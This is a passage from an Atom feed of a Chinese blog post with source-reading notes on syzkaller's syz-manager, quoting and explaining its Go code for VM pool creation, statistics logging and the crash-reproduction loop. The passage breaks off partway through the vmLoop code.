<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>feather&#39;s blog</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://www.xi4oyu.top/"/>
  <updated>2022-08-08T02:41:00.000Z</updated>
  <id>http://www.xi4oyu.top/</id>
  
  <author>
    <name>feather</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>syzkaller 源码阅读笔记 —— syz-manager</title>
    <link href="http://www.xi4oyu.top/2663df8d/"/>
    <id>http://www.xi4oyu.top/2663df8d/</id>
    <published>2022-08-08T02:41:00.000Z</published>
    <updated>2022-08-08T02:41:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>syzkaller 中的 syz-manager 负责管理虚拟机，监控 crash，以及复现 crash</p><span id="more"></span><h2 id="main"><a href="#main" class="headerlink" title="main"></a>main</h2><p>从 main 函数开始，解析参数，加载 config 文件，随后调用 <code>RunManager</code> </p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// syz-manager/manager.go</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> prog<span class="token punctuation">.</span>GitRevision <span class="token operator">==</span> <span class="token string">""</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Fatalf</span><span class="token punctuation">(</span><span class="token string">"bad syz-manager build: build with make, run bin/syz-manager"</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>flag<span class="token punctuation">.</span><span class="token function">Parse</span><span class="token punctuation">(</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span><span class="token function">EnableLogCaching</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">&lt;&lt;</span><span class="token number">20</span><span class="token punctuation">)</span>cfg<span class="token punctuation">,</span> err <span class="token operator">:=</span> mgrconfig<span class="token punctuation">.</span><span class="token function">LoadFile</span><span class="token punctuation">(</span><span class="token operator">*</span>flagConfig<span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Fatalf</span><span class="token punctuation">(</span><span class="token string">"%v"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token function">RunManager</span><span class="token punctuation">(</span>cfg<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="RunManager"><a href="#RunManager" class="headerlink" title="RunManager"></a>RunManager</h3><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// syz-manager/manager.go</span><span class="token keyword">func</span> <span class="token function">RunManager</span><span class="token punctuation">(</span>cfg <span class="token operator">*</span>mgrconfig<span class="token punctuation">.</span>Config<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">var</span> vmPool <span class="token operator">*</span>vm<span class="token punctuation">.</span>Pool<span class="token comment">// Type "none" is a special case for debugging/development when manager</span><span class="token comment">// does not start any VMs, but instead you start them manually</span><span class="token comment">// and start syz-fuzzer there.</span><span class="token keyword">if</span> cfg<span class="token punctuation">.</span>Type <span class="token operator">!=</span> <span class="token string">"none"</span> <span class="token punctuation">&#123;</span><span class="token keyword">var</span> err <span class="token builtin">error</span>vmPool<span class="token punctuation">,</span> err <span class="token operator">=</span> vm<span class="token punctuation">.</span><span class="token function">Create</span><span class="token punctuation">(</span>cfg<span class="token punctuation">,</span> <span class="token operator">*</span>flagDebug<span class="token punctuation">)</span> <span class="token comment">// 「1」</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Fatalf</span><span class="token punctuation">(</span><span class="token string">"%v"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>crashdir <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>cfg<span class="token punctuation">.</span>Workdir<span class="token punctuation">,</span> <span class="token string">"crashes"</span><span class="token punctuation">)</span>osutil<span class="token punctuation">.</span><span class="token function">MkdirAll</span><span class="token punctuation">(</span>crashdir<span class="token punctuation">)</span>reporter<span class="token punctuation">,</span> err <span class="token operator">:=</span> report<span class="token punctuation">.</span><span class="token function">NewReporter</span><span class="token punctuation">(</span>cfg<span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Fatalf</span><span class="token punctuation">(</span><span class="token string">"%v"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>mgr <span class="token operator">:=</span> <span class="token operator">&amp;</span>Manager<span class="token punctuation">&#123;</span>cfg<span class="token punctuation">:</span>              cfg<span class="token punctuation">,</span>vmPool<span class="token punctuation">:</span>           vmPool<span class="token punctuation">,</span><span class="token comment">//...</span><span class="token punctuation">&#125;</span>mgr<span class="token punctuation">.</span><span class="token function">preloadCorpus</span><span class="token punctuation">(</span><span class="token punctuation">)</span>mgr<span class="token punctuation">.</span><span class="token function">initStats</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token comment">// Initializes prometheus variables.</span>mgr<span class="token punctuation">.</span><span class="token function">initHTTP</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token comment">// Creates HTTP server.</span>mgr<span class="token punctuation">.</span><span class="token function">collectUsedFiles</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">// Create RPC server for fuzzers.</span>mgr<span class="token punctuation">.</span>serv<span class="token punctuation">,</span> err <span class="token operator">=</span> <span class="token function">startRPCServer</span><span class="token punctuation">(</span>mgr<span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Fatalf</span><span class="token punctuation">(</span><span class="token string">"failed to create rpc server: %v"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span> cfg<span class="token punctuation">.</span>DashboardAddr <span class="token operator">!=</span> <span class="token string">""</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token keyword">go</span> <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// 「2」</span><span class="token keyword">for</span> lastTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token punctuation">&#123;</span>time<span class="token punctuation">.</span><span class="token function">Sleep</span><span class="token punctuation">(</span><span class="token number">10</span> <span class="token operator">*</span> time<span class="token punctuation">.</span>Second<span class="token punctuation">)</span>now <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>diff <span class="token operator">:=</span> now<span class="token punctuation">.</span><span class="token function">Sub</span><span class="token punctuation">(</span>lastTime<span class="token punctuation">)</span>lastTime <span class="token operator">=</span> nowmgr<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Lock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">if</span> mgr<span class="token punctuation">.</span>firstConnect<span class="token punctuation">.</span><span class="token function">IsZero</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>mgr<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">continue</span><span class="token punctuation">&#125;</span>mgr<span class="token punctuation">.</span>fuzzingTime <span class="token operator">+=</span> diff <span class="token operator">*</span> time<span class="token punctuation">.</span><span class="token function">Duration</span><span class="token punctuation">(</span>atomic<span class="token punctuation">.</span><span class="token function">LoadUint32</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>mgr<span class="token punctuation">.</span>numFuzzing<span class="token punctuation">)</span><span class="token punctuation">)</span>executed <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>stats<span class="token punctuation">.</span>execTotal<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span>crashes <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>stats<span class="token punctuation">.</span>crashes<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span>corpusCover <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>stats<span class="token punctuation">.</span>corpusCover<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span>corpusSignal <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>stats<span class="token punctuation">.</span>corpusSignal<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span>maxSignal <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>stats<span class="token punctuation">.</span>maxSignal<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span>mgr<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>numReproducing <span class="token operator">:=</span> atomic<span class="token punctuation">.</span><span class="token function">LoadUint32</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>mgr<span class="token punctuation">.</span>numReproducing<span class="token punctuation">)</span>numFuzzing <span class="token operator">:=</span> atomic<span class="token punctuation">.</span><span class="token function">LoadUint32</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>mgr<span class="token punctuation">.</span>numFuzzing<span class="token punctuation">)</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"VMs %v, executed %v, cover %v, signal %v/%v, crashes %v, repro %v"</span><span class="token punctuation">,</span>numFuzzing<span class="token punctuation">,</span> executed<span class="token punctuation">,</span> corpusCover<span class="token punctuation">,</span> corpusSignal<span class="token punctuation">,</span> maxSignal<span class="token punctuation">,</span> crashes<span class="token punctuation">,</span> numReproducing<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">if</span> <span class="token operator">*</span>flagBench <span class="token operator">!=</span> <span class="token string">""</span> <span class="token punctuation">&#123;</span> <span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span> mgr<span class="token punctuation">.</span>dash <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span><span class="token keyword">go</span> mgr<span class="token punctuation">.</span><span class="token function">dashboardReporter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>osutil<span class="token punctuation">.</span><span class="token function">HandleInterrupts</span><span class="token punctuation">(</span>vm<span class="token punctuation">.</span>Shutdown<span class="token punctuation">)</span><span class="token keyword">if</span> mgr<span class="token punctuation">.</span>vmPool <span class="token operator">==</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"no VMs started (type=none)"</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"you are supposed to start syz-fuzzer manually as:"</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"syz-fuzzer -manager=manager.ip:%v [other flags as necessary]"</span><span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>serv<span class="token punctuation">.</span>port<span class="token punctuation">)</span><span class="token operator">&lt;-</span>vm<span class="token punctuation">.</span>Shutdown<span class="token keyword">return</span><span class="token punctuation">&#125;</span>mgr<span class="token punctuation">.</span><span class="token function">vmLoop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token comment">// 「3」</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「1」</strong> ，调用 <code>vm.Create</code> 创建 vmPool，顾名思义，vmPool 是用于管理虚拟机的一个池，这里不同的虚拟化方案都使用统一的接口来创建 vmPool，具体随后细述<br><strong>「2」</strong>，开启一个 goroutine，定时记录虚拟机状态，覆盖率，crash 数量等信息<br><strong>「3」</strong>，调用 <code>mgr.vmLoop</code> 开始启动虚拟机进行 fuzz，这个函数涵盖了大量的工作</p><h4 id="vm-Create"><a href="#vm-Create" class="headerlink" title="vm.Create"></a>vm.Create</h4><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// vm/vm.go</span><span class="token comment">// Create creates a VM pool that can be used to create individual VMs.</span><span class="token keyword">func</span> <span class="token function">Create</span><span class="token punctuation">(</span>cfg <span class="token operator">*</span>mgrconfig<span class="token punctuation">.</span>Config<span class="token punctuation">,</span> debug <span class="token builtin">bool</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Pool<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>typ<span class="token punctuation">,</span> ok <span class="token operator">:=</span> vmimpl<span class="token punctuation">.</span>Types<span class="token punctuation">[</span>cfg<span class="token punctuation">.</span>Type<span class="token punctuation">]</span> <span class="token comment">// 「1」</span><span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token boolean">nil</span><span class="token punctuation">,</span> fmt<span class="token punctuation">.</span><span class="token function">Errorf</span><span class="token punctuation">(</span><span class="token string">"unknown instance type '%v'"</span><span class="token punctuation">,</span> cfg<span class="token punctuation">.</span>Type<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>env <span class="token operator">:=</span> <span class="token operator">&amp;</span>vmimpl<span class="token punctuation">.</span>Env<span class="token punctuation">&#123;</span>Name<span class="token punctuation">:</span>     cfg<span class="token punctuation">.</span>Name<span class="token punctuation">,</span>OS<span class="token punctuation">:</span>       cfg<span class="token punctuation">.</span>TargetOS<span class="token punctuation">,</span>Arch<span class="token punctuation">:</span>     cfg<span class="token punctuation">.</span>TargetVMArch<span class="token punctuation">,</span>Workdir<span class="token punctuation">:</span>  cfg<span class="token punctuation">.</span>Workdir<span class="token punctuation">,</span>Image<span class="token punctuation">:</span>    cfg<span class="token punctuation">.</span>Image<span class="token punctuation">,</span>SSHKey<span class="token punctuation">:</span>   cfg<span class="token punctuation">.</span>SSHKey<span class="token punctuation">,</span>SSHUser<span class="token punctuation">:</span>  cfg<span class="token punctuation">.</span>SSHUser<span class="token punctuation">,</span>Timeouts<span class="token punctuation">:</span> cfg<span class="token punctuation">.</span>Timeouts<span class="token punctuation">,</span>Debug<span class="token punctuation">:</span>    debug<span class="token punctuation">,</span>Config<span class="token punctuation">:</span>   cfg<span class="token punctuation">.</span>VM<span class="token punctuation">,</span><span class="token punctuation">&#125;</span>impl<span class="token punctuation">,</span> err <span class="token operator">:=</span> typ<span class="token punctuation">.</span><span class="token function">Ctor</span><span class="token punctuation">(</span>env<span class="token punctuation">)</span> <span class="token comment">// 「2」</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token boolean">nil</span><span class="token punctuation">,</span> err<span class="token punctuation">&#125;</span><span class="token keyword">return</span> <span class="token operator">&amp;</span>Pool<span class="token punctuation">&#123;</span>impl<span class="token punctuation">:</span>     impl<span class="token punctuation">,</span>workdir<span class="token punctuation">:</span>  env<span class="token punctuation">.</span>Workdir<span class="token punctuation">,</span>template<span class="token punctuation">:</span> cfg<span class="token punctuation">.</span>WorkdirTemplate<span class="token punctuation">,</span>timeouts<span class="token punctuation">:</span> cfg<span class="token punctuation">.</span>Timeouts<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「1」</strong>，根据配置文件的 <code>type</code> 字段获取对应 Type 对象为后续使用，<code>type</code> 字段表示虚拟机的类型，如 qemu，vmware</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// vm/vmimpl/vmimpl.go</span><span class="token keyword">type</span> Type <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>Ctor       ctorFuncOvercommit <span class="token builtin">bool</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> <span class="token punctuation">(</span><span class="token comment">// ...</span>Types <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token keyword">map</span><span class="token punctuation">[</span><span class="token builtin">string</span><span class="token punctuation">]</span>Type<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">// Register registers a new VM type within the package.</span><span class="token keyword">func</span> <span class="token function">Register</span><span class="token punctuation">(</span>typ <span class="token builtin">string</span><span class="token punctuation">,</span> ctor ctorFunc<span class="token punctuation">,</span> allowsOvercommit <span class="token builtin">bool</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>Types<span class="token punctuation">[</span>typ<span class="token punctuation">]</span> <span class="token operator">=</span> Type<span class="token punctuation">&#123;</span>Ctor<span class="token punctuation">:</span>       ctor<span class="token punctuation">,</span>Overcommit<span class="token punctuation">:</span> allowsOvercommit<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>各种虚拟化对应的模块调用 <code>Register</code> 函数注册 Type 对象，以 qemu 为例</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// vm/qemu/qemu.go</span><span class="token keyword">func</span> <span class="token function">init</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">var</span> <span class="token boolean">_</span> vmimpl<span class="token punctuation">.</span>Infoer <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">*</span>instance<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token boolean">nil</span><span class="token punctuation">)</span>vmimpl<span class="token punctuation">.</span><span class="token function">Register</span><span class="token punctuation">(</span><span class="token string">"qemu"</span><span class="token punctuation">,</span> ctor<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「2」</strong>，调用对应 Type 对象的 Ctor 函数指针创建实现了 Pool 接口的对象，以 qemu 为例，观看 qemu.ctor 函数实现</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// vm/vmimpl/vmimpl.go</span><span class="token keyword">type</span> Pool <span class="token keyword">interface</span> <span class="token punctuation">&#123;</span><span class="token comment">// Count returns total number of VMs in the pool.</span><span class="token function">Count</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token builtin">int</span><span class="token comment">// Create creates and boots a new VM instance.</span><span class="token function">Create</span><span class="token punctuation">(</span>workdir <span class="token builtin">string</span><span class="token punctuation">,</span> index <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">(</span>Instance<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// vm/qemu/qemu.go</span><span class="token keyword">type</span> Pool <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>env        <span class="token operator">*</span>vmimpl<span class="token punctuation">.</span>Envcfg        <span class="token operator">*</span>Configtarget     <span class="token operator">*</span>targets<span class="token punctuation">.</span>TargetarchConfig <span class="token operator">*</span>archConfigversion    <span class="token builtin">string</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">ctor</span><span class="token punctuation">(</span>env <span class="token operator">*</span>vmimpl<span class="token punctuation">.</span>Env<span class="token punctuation">)</span> <span class="token punctuation">(</span>vmimpl<span class="token punctuation">.</span>Pool<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>archConfig <span class="token operator">:=</span> archConfigs<span class="token punctuation">[</span>env<span class="token punctuation">.</span>OS<span class="token operator">+</span><span class="token string">"/"</span><span class="token operator">+</span>env<span class="token punctuation">.</span>Arch<span class="token punctuation">]</span>cfg <span class="token operator">:=</span> <span class="token operator">&amp;</span>Config<span class="token punctuation">&#123;</span>Count<span class="token punctuation">:</span>       <span class="token number">1</span><span class="token punctuation">,</span>CPU<span class="token punctuation">:</span>         <span class="token number">1</span><span class="token punctuation">,</span>Mem<span class="token punctuation">:</span>         <span class="token number">1024</span><span class="token punctuation">,</span>ImageDevice<span class="token punctuation">:</span> <span class="token string">"hda"</span><span class="token punctuation">,</span>Qemu<span class="token punctuation">:</span>        archConfig<span class="token punctuation">.</span>Qemu<span class="token punctuation">,</span>QemuArgs<span class="token punctuation">:</span>    archConfig<span class="token punctuation">.</span>QemuArgs<span class="token punctuation">,</span>NetDev<span class="token punctuation">:</span>      archConfig<span class="token punctuation">.</span>NetDev<span class="token punctuation">,</span>Snapshot<span class="token punctuation">:</span>    <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span>pool <span class="token operator">:=</span> <span class="token operator">&amp;</span>Pool<span class="token punctuation">&#123;</span>env<span class="token punctuation">:</span>        env<span class="token punctuation">,</span>cfg<span class="token punctuation">:</span>        cfg<span class="token punctuation">,</span>version<span class="token punctuation">:</span>    version<span class="token punctuation">,</span>target<span class="token punctuation">:</span>     targets<span class="token punctuation">.</span><span class="token function">Get</span><span class="token punctuation">(</span>env<span class="token punctuation">.</span>OS<span class="token punctuation">,</span> env<span class="token punctuation">.</span>Arch<span class="token punctuation">)</span><span class="token punctuation">,</span>archConfig<span class="token punctuation">:</span> archConfig<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> pool<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="mgr-vmLoop"><a href="#mgr-vmLoop" class="headerlink" title="mgr.vmLoop"></a>mgr.vmLoop</h4><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// syz-manager/manager.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>mgr <span class="token operator">*</span>Manager<span class="token punctuation">)</span> <span class="token function">vmLoop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token keyword">for</span> shutdown <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token operator">||</span> <span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span> <span class="token operator">!=</span> vmCount <span class="token punctuation">&#123;</span>mgr<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Lock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>phase <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>phasemgr<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">// ...</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"loop: phase=%v shutdown=%v instances=%v/%v %+v repro: pending=%v reproducing=%v queued=%v"</span><span class="token punctuation">,</span>phase<span class="token punctuation">,</span> shutdown <span class="token operator">==</span> <span class="token boolean">nil</span><span class="token punctuation">,</span> <span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span><span class="token punctuation">,</span> vmCount<span class="token punctuation">,</span> instances<span class="token punctuation">,</span><span class="token function">len</span><span class="token punctuation">(</span>pendingRepro<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">len</span><span class="token punctuation">(</span>reproducing<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">len</span><span class="token punctuation">(</span>reproQueue<span class="token punctuation">)</span><span class="token punctuation">)</span>canRepro <span class="token operator">:=</span> <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token builtin">bool</span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> phase <span class="token operator">>=</span> phaseTriagedHub <span class="token operator">&amp;&amp;</span><span class="token function">len</span><span class="token punctuation">(</span>reproQueue<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> reproInstances<span class="token operator">+</span>instancesPerRepro <span class="token operator">&lt;=</span> vmCount<span class="token punctuation">&#125;</span><span class="token keyword">if</span> shutdown <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span> <span class="token keyword">for</span> <span class="token function">canRepro</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span> <span class="token operator">>=</span> instancesPerRepro <span class="token punctuation">&#123;</span> <span class="token comment">// 「1」</span>last <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>reproQueue<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span>crash <span class="token operator">:=</span> reproQueue<span class="token punctuation">[</span>last<span class="token punctuation">]</span>reproQueue<span class="token punctuation">[</span>last<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">nil</span>reproQueue <span class="token operator">=</span> reproQueue<span class="token punctuation">[</span><span class="token punctuation">:</span>last<span class="token punctuation">]</span>vmIndexes <span class="token operator">:=</span> <span class="token function">append</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> instances<span class="token punctuation">[</span><span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span><span class="token operator">-</span>instancesPerRepro<span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token operator">...</span><span class="token punctuation">)</span>instances <span class="token operator">=</span> instances<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span><span class="token operator">-</span>instancesPerRepro<span class="token punctuation">]</span>reproInstances <span class="token operator">+=</span> instancesPerReproatomic<span class="token punctuation">.</span><span class="token function">AddUint32</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>mgr<span class="token punctuation">.</span>numReproducing<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"loop: starting repro of '%v' on instances %+v"</span><span class="token punctuation">,</span> crash<span class="token punctuation">.</span>Title<span class="token punctuation">,</span> vmIndexes<span class="token punctuation">)</span><span class="token keyword">go</span> <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>features <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>checkResult<span class="token punctuation">.</span>Featuresres<span class="token punctuation">,</span> stats<span class="token punctuation">,</span> err <span class="token operator">:=</span> repro<span class="token punctuation">.</span><span class="token function">Run</span><span class="token punctuation">(</span>crash<span class="token punctuation">.</span>Output<span class="token punctuation">,</span> mgr<span class="token 